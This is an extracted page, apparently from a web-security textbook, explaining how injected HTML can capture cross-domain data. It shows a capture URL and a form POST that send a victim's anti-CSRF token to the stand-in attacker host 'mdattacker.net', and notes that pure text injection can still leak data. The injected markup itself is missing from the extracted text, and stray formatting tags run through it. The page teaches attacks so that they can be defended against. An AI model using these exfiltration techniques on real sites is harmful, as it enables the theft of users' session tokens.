19.09.2017 Views

the-web-application-hackers-handbook

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Chapter 13 n Attacking Users: O<strong>the</strong>r Techniques 517<br />

is not terminated, and <strong>the</strong> tag is not closed. This causes <strong>the</strong> browser to<br />

treat <strong>the</strong> text following <strong>the</strong> injection point as part of <strong>the</strong> URL, up until a single<br />

quotation mark is encountered, which happens later in <strong>the</strong> response when a<br />

quoted JavaScript string appears. Browsers tolerate all <strong>the</strong> intervening characters<br />

and <strong>the</strong> fact that <strong>the</strong> URL spans several lines.<br />

When <strong>the</strong> user’s browser processes <strong>the</strong> response into which <strong>the</strong> attacker has<br />

injected, it attempts to fetch <strong>the</strong> specified image and makes a request to <strong>the</strong><br />

following URL, <strong>the</strong>reby sending <strong>the</strong> sensitive anti-CSRF token to <strong>the</strong> attacker’s<br />

server:<br />

http://mdattacker.net/capture?html=......<br />

var%20_StatsTrackerId=<br />

An alternative attack would be to inject <strong>the</strong> following text:<br />

<br />

This attack injects a tag targeting <strong>the</strong> attacker’s domain before <strong>the</strong> <br />

tag used by <strong>the</strong> <strong>application</strong> itself. In this situation, when browsers encounter<br />

<strong>the</strong> nested tag, <strong>the</strong>y ignore it and process <strong>the</strong> form in <strong>the</strong> context of <strong>the</strong><br />

first tag that was encountered. Hence, if <strong>the</strong> user submits <strong>the</strong> form, all<br />

its parameters, including <strong>the</strong> sensitive anti-CSRF token, are submitted to <strong>the</strong><br />

attacker’s server:<br />

POST /capture HTTP/1.1<br />

Content-Type: <strong>application</strong>/x-www-form-urlencoded<br />

Content-Length: 192<br />

Host: mdattacker.net<br />

nonce=2230313740821&...<br />

Since this second attack injects only well-formed HTML, it may be more<br />

effective against filters designed to allow a subset of HTML in echoed inputs.<br />

However, it also requires some user interaction to succeed, which may reduce<br />

its effectiveness in some situations.<br />

Capturing Data by Injecting CSS<br />

In <strong>the</strong> examples discussed in <strong>the</strong> preceding section, it was necessary to use some<br />

limited HTML markup in <strong>the</strong> injected text to capture part of <strong>the</strong> response crossdomain.<br />

In many situations, however, <strong>the</strong> <strong>application</strong> blocks or HTML-encodes<br />

<strong>the</strong> characters < and > in <strong>the</strong> injected input, preventing <strong>the</strong> introduction of any<br />

new HTML tags. Pure text injection conditions like this are common in <strong>web</strong><br />

<strong>application</strong>s and are often considered harmless.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!